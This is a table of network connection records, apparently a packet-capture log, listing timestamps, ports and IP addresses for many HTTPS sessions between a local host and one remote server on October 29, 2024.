Oct 29, 2024 04:53:41.549546957 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.549685955 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.549691916 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.549707890 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.549711943 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.552669048 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.552696943 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.552773952 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.552943945 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.552953959 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.554970026 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.555294037 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.555300951 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.555651903 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.555656910 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.632900000 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.632981062 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.633037090 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.633208990 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.633234978 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.633248091 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.633255005 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.636034966 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.636097908 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.636189938 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.636331081 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.636362076 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.689846039 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.689909935 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.689963102 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.689971924 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.690012932 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.690058947 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.690140963 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.690145016 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.690152884 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.690156937 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.692214966 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.692225933 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.692295074 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.692409039 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.692420959 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.163373947 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.163925886 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.163943052 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.164520025 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.164525986 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.170254946 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.170618057 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.170653105 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.171071053 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.171086073 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.291240931 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.291280031 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.291357040 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.291591883 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.291608095 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.291616917 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.291621923 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.294604063 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.294652939 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.294735909 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.294895887 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.294915915 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.299094915 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.299226999 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.299290895 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.299365044 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.299391031 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.299427032 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.299441099 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.301249027 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.301263094 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.301323891 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.301436901 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.301448107 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.329216003 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.329556942 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.329565048 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.329950094 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.329955101 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.369795084 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.370201111 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.370238066 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.370579004 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.370592117 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.426311016 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.426693916 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.426702976 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.427052975 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.427057981 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.470705032 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.470853090 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.470926046 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.470989943 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.470999956 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.471008062 CET	49998	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.471012115 CET	443	49998	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.473718882 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.473752022 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.473831892 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.473985910 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.474001884 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499149084 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499222994 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499281883 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.499326944 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499360085 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499420881 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.499466896 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.499504089 CET	49999	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.499520063 CET	443	49999	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.501421928 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.501458883 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.501530886 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.501708031 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.501737118 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.556926966 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.557085037 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.557136059 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.557168961 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.557176113 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.557187080 CET	50000	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.557190895 CET	443	50000	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.559366941 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.559386015 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:42.559457064 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.559582949 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:42.559591055 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.024502993 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.025110006 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.025141954 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.025603056 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.025609016 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.055711031 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.056278944 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.056288958 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.056684971 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.056689978 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.153718948 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.153914928 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.153965950 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.154076099 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.154093981 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.154122114 CET	50001	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.154126883 CET	443	50001	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.157330990 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.157414913 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.157505989 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.157655954 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.157691002 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185386896 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185436010 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185492039 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.185498953 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185578108 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185626030 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.185712099 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.185715914 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.185724974 CET	50002	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.185729027 CET	443	50002	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.188178062 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.188215971 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.188273907 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.188468933 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.188481092 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.209462881 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.209907055 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.209918022 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.210365057 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.210370064 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.251080990 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.251511097 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.251553059 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.251868010 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.251880884 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.291129112 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.291555882 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.291568041 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.292001963 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.292006969 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.338263988 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.338466883 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.338558912 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.338700056 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.338712931 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.338723898 CET	50003	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.338732004 CET	443	50003	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.341501951 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.341521978 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.341597080 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.341720104 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.341731071 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.381799936 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.381829977 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.381911993 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.381937981 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.382016897 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.382071018 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.382142067 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.382172108 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.382199049 CET	50004	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.382213116 CET	443	50004	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.384505033 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.384592056 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.384675026 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.384825945 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.384860992 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.420707941 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.420758009 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.420887947 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.420939922 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.420975924 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.421137094 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.421148062 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.421180010 CET	50005	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.421185017 CET	443	50005	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.423070908 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.423083067 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.423155069 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.423291922 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.423305988 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.877412081 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.878061056 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.878123999 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.878554106 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.878566980 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.959027052 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.959530115 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.959546089 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:43.959974051 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:43.959979057 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.005724907 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.005740881 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.005781889 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.005826950 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.005881071 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.006395102 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.006395102 CET	50006	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.006428957 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.006454945 CET	443	50006	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.009608984 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.009670973 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.009756088 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.009884119 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.009915113 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.077450991 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.077897072 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.077909946 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.078352928 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.078357935 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108124971 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108181000 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108241081 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.108253956 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108289003 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108335972 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.108740091 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.108752966 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.108761072 CET	50007	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.108766079 CET	443	50007	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.130702019 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.132759094 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.132824898 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.133270025 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.133284092 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.136015892 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.136101961 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.136188984 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.136302948 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.136328936 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.151648045 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.152106047 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.152122974 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.152684927 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.152688980 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.207603931 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.207747936 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.207804918 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.207835913 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.207844019 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.207853079 CET	50008	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.207859039 CET	443	50008	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.209722996 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.209835052 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.209908962 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.210004091 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.210033894 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.262394905 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.262506008 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.262564898 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.262622118 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.262622118 CET	50009	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.262658119 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.262680054 CET	443	50009	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.264591932 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.264655113 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.264729977 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.264858961 CET	50014	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.264890909 CET	443	50014	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.574533939 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.574686050 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.574747086 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.574882030 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.574887991 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.574898005 CET	50010	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.574903011 CET	443	50010	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.578063965 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.578130007 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.578227043 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.578416109 CET	50015	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.578449965 CET	443	50015	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.754779100 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.755410910 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.755445004 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.755918980 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.755930901 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.888161898 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.888227940 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.888461113 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.888520956 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.888520956 CET	50011	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.888550043 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.888571978 CET	443	50011	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.889415026 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.891279936 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.891308069 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.891637087 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.891664982 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.891669989 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.891796112 CET	50016	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.891808033 CET	443	50016	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.892071009 CET	50012	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.892076969 CET	443	50012	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.938286066 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.938781023 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.938817978 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:44.939088106 CET	50013	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:44.939104080 CET	443	50013	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:45.011987925 CET	443	50014	13.107.246.60	192.168.2.4
